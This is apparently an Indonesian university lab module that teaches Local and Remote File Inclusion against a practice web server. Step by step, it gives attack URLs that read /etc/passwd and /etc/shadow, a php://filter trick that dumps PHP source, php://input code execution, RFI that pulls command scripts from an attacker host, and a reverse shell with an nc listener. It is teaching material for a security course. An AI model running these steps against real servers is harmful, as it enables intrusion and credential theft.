File Inclusion
File Inclusion
FILE INCLUSION
Basic
Local File Inclusion(LFI)
dan
Remote File Inclusion(RFI)
Module 06
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
A. Lab Environment
B. Lab Scenario
Telah diketahui beberapa website dengan url:
Gunakan metode File Inclusion (LFI & RFI) untuk melakukan injeksi ke website
target.
C. Lab Activity
Lakukan percobaan untuk melakukan injeksi melalui vulnerability page.
D. Tools
Browser (Mozilla Firefox)
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
1
Celah Local File Inclusion
(LFI)
Pengetahuan Dasar:
- HTML
- PHP
Tools:
Langkah-langkah:
1. Akses Vulnerability Page dengan URL
http://192.168.100.2/simple_blog/index.php?page=
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
4. Kemudian cobalah untuk memasukkan sembarangan path/url pada bagian page=
seperti berikut:
http://192.168.100.2/simple_blog/index.php?page=apasaja
Perhatikan pesan error yang muncul, ketika memasukkan sembarangan kata pada
bagian page= muncul pesan error yang menandakan file atau directory dengan nama
apasaja tidak ada, kemudian fungsi yang digunakan disana adalah fungsi include()
yang bisa menjadi salah satu celah File Inclusion jika tidak ditangani atau difilter
dengan benar.
Beberapa fungsi yang bisa menjadi celah pada bahasa pemrograman PHP:
1. include()
2. require()
3. include_once()
4. require_once()
Selain itu pesan error tersebut juga menampilkan letak path sebuah website di
server.
5. Langkah selanjutnya adalah kita akan mencoba apakah url tersebut mempunyai
celah untuk File Inclusion, pada percobaan ini kita akan mencoba celah LFI
(Local File Inclusion) atau dengan kata lain kita akan mencoba menampilkan file-
file sensitive yang di server seperti:
- /etc/issue
- /etc/passwd
- /etc/group
- /etc/resolv.conf
- /etc/shadow
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
http://192.168.100.2/simple_blog/index.php?page=/etc/passwd
Gambar 3. /etc/passwd
Pada gambar 3, ternyata kita berhasil menampilkan atau membaca isi dari file
/etc/passwd. Pada tahapan ini sudah bisa dibuktikan jika website tersebut
mempunyai celah LFI, kita bisa mencoba untuk membaca file sensitive lain
misalkan file /etc/shadow.
http://192.168.100.2/simple_blog/index.php?page=/etc/shadow
Gambar 4. /etc/shadow
Pada gambar 4, ketika kita mencoba membaca file /etc/shadow muncul pesan
error permission denied yang berarti posisi kita sekarangan tidak mempunyai hak
akses untuk membaca file tersebut. Ternyata tidak semua file sensitive bisa kita
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
baca melalui celah LFI. Selanjutnya kita bisa mencoba lagi untuk membaca file
sensitive lain yang ada di server.
6. Untuk membaca file-file di server ada beberapa cara, selain cara yang sudah
dicoba sebelumnya masih ada cara lain seperti menggunakan directory traversal
atau dengan menambah ../../ (dot-dot-slash) pada url seperti berikut:
Cobalah cara directory traversal sampai file yang dimaksud tersebut bisa dibaca.
7. Langkah selanjutnya adalah misalkan kita ingin membaca sebuah file php yang
ada di server, dengan menggunakan cara-cara yang sebelumnya hal tersebut tidak
bisa dilakukan seperti contoh berikut, misal kita akan membaca sebuah file dengan
nama koneksi.php menggunakan cara yang sebelumnya.
Pada website tersebut tidak menampilkan apapun atau dengan kata lain file php
tersebut tidak bisa dibaca. Hal ini bisa disiasati dengan menggunakan php wrapper,
yang tujuannya untuk membaca isi file koneksi tersebut.
Adapun PHP wrapper tersebut adalah:
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 7. PHP Wrapper
Kita akan menggunakan php://filter untuk membaca isi file koneksi.php, caranya
adalah dengan melakukan encode isi file dari koneksi.php kemudian kita decode
hasilnya. Kita akan menggunakan base64. Caranya adalah sebagai berikut:
masukkan perintah berikut pada url:
http://192.168.100.2/simple_blog/index.php?page=php://filter/convert.base64
-encode/resource=koneksi.php
Gambar 8. php filter
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 9. Base64 encode koneksi.php
Untuk melakukan decode, kita bisa menggunakan bantuan hackbar, seperti berikut:
pilih base64 decode kemudian paste hasil dari base64 encode sebelumya seperti
berikut:
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 11. Base64 hackbar
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
8. Pada celah ini kita juga bisa melakukan Remote Code Execution (RCE) ke server.
Caranya adalah dengan menggunakan php wrapper php://input. Dengan celah
ini kita bisa masuk ke terminal server dan bisa melihat file atau direktori apa saja
yang ada di server.
9. Kita bisa menggunakan hackbar untuk mencoba celah RCE.
Masukkan URL berikut:
http://192.168.100.2/simple_blog/index.php?page=php://input
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Supaya lebih mudah dibaca hasilnya tambahkan perintah berikut pada bagian POST
Data:
Selanjutnya kita bisa mencoba perintah lain yang biasa kita jalankan di terminal
seperti:
- uname –a
- w
- whoami
- dsb.
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
2
Celah Remote File Inclusion
(RFI)
Pengetahuan Dasar:
- HTML
- PHP
Tools:
Langkah-langkah:
10. Akses Vulnerability Page dengan URL
http://192.168.100.2/simple_blog/index.php?page=
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
13. Untuk melakukan percobaan celah Remote File Inclusion, buatlah sebuah file
dengan nama rfi.php pada server attacker kali linux.
14. Langkah-langkahnya sebagai berikut:
- Buka terminal
- Nyalakan terlebih dahulu service apache2 di kali linux dengan perintah:
service apache2 start
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
- Bisa juga dengan cara mengakses lewat browser seperti berikut:
http://192.168.100.3
- Jika muncul seperti pada gambar 4, berarti service apache2 sudah berjalan.
- Setelah semuanya berjalan, pindah ke direktori default tempat penyimpanan
script/code pada apache2 di /var/www/html/
Gambar 5. /var/www/html/
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
- Isikan seperti berikut:
- Jika sudah, alangkah baiknya kita coba dulu script yang kita buat tersebut
dengan cara sebagai berikut:
http://192.168.100.3/rfi.php
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
- Jika text/code yang kita buat muncul di browser, script tersebut sudah siap
dicoba pada website target.
- Langkah selanjutnya adalah percobaan menyisipkan script yang sudah dibuat
pada website target seperti berikut:
http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/rfi.php
Gambar 9. phpinfo()
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/info.php
Pada website target, muncul informasi php yang digunakan, tapi jika kita amati dengan
baik, informasi yang muncul tersebut adalah informasi dari server attacker bukan
informasi dari server target. Ini dikarenakan file yang kita eksekusi adalah file dengan
ekstensi .php, sehingga script tersebut mengeksekusi informasi yang ada di server
attacker. Untuk mengatasi hal tersebut cukup dengan merubah ekstensi file yang
sebelumnya .php menjadi .txt.
Kita copy saja file info.php yang sebelumnya sudah dibuat dengan perintah berikut:
cp info.php info.txt
15. Kemudian cobalah untuk jalankan kembali dengan ekstensi .txt seperti
berikut:
http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/info.txt
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 12. Info server target
Pada gambar 12, kita sudah berhasil membaca informasi versi php pada server victim.
Jadi bedakan penggunaan ekstensi .php dan .txt, untuk .php ketika dieksekusi yang
muncul adalah informasi dari server attacker, tetapi ketika ingin melihat informasi
pada serve target gunakan ekstensi .txt.
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
18. Jalankan pada browser seperti langkah sebelumnya:
http://192.168.100.2/simple_blog/index.php?cmd=pwd&page=http://192.168.100
.3/evilscript.txt
Perhatikan pada url, disana ada perintah pwd yang digunakan untuk melihat posisi
direktori kita sekarang.
Contoh lain kita bisa mengganti perintah tersebut dengan perintah yang lain, seperti
berikut.
http://192.168.100.2/simple_blog/index.php?cmd=ls -la&page=http://192.168.100.3/evilscript.txt
Perintah ls –la digunakan untuk melihat isi suatu direktori dengan informasi yang
detail. Kita bisa mencoba menggunakan perintah-perintah lain yang biasa
digunakan pada terminal.
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
3
PHP Reverse Shell Melalui
Celah Remote File Inclusion
(RFI)
Pengetahuan Dasar:
- HTML
- PHP
Tools:
Langkah-langkah:
1. Pada percobaan kali ini, kita akan mencoba masuk ke terminal server target dengan
bantuan script php reverse shell yang bisa didownload di website
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
Gambar 1. Konfigurasi
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
3. Langkah selanjutnya adalah listening port yang sudah kita setting seblumnya
dengan cara ketikkan : nc -lvp 4444
Pastikan yang diakses adalah script yang benar dan berekstensi .txt, seperti pada
percobaan sebelumnya, ketika ekstensi script tersebut .php, maka shell yang
direverse adalah shell server attacker sendiri.
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Kemudian perhatikan pada terminal server attacker yang sebelumnya sudah listen
port 4444, hasilnya seperti berikut:
Pada tahapan ini kita sudah berhasil dan selesai masuk ke server target.
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Latihan:
Buatlah report beserta skenario untuk
masuk ke server target pada DVWA
menggunakan celah Remote File Inclusion
pada FILE INCLUSION, kemudian bacalah
isi konfigurasi dari website langitan,
konfigurasi berisi username, password dan
database.
Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer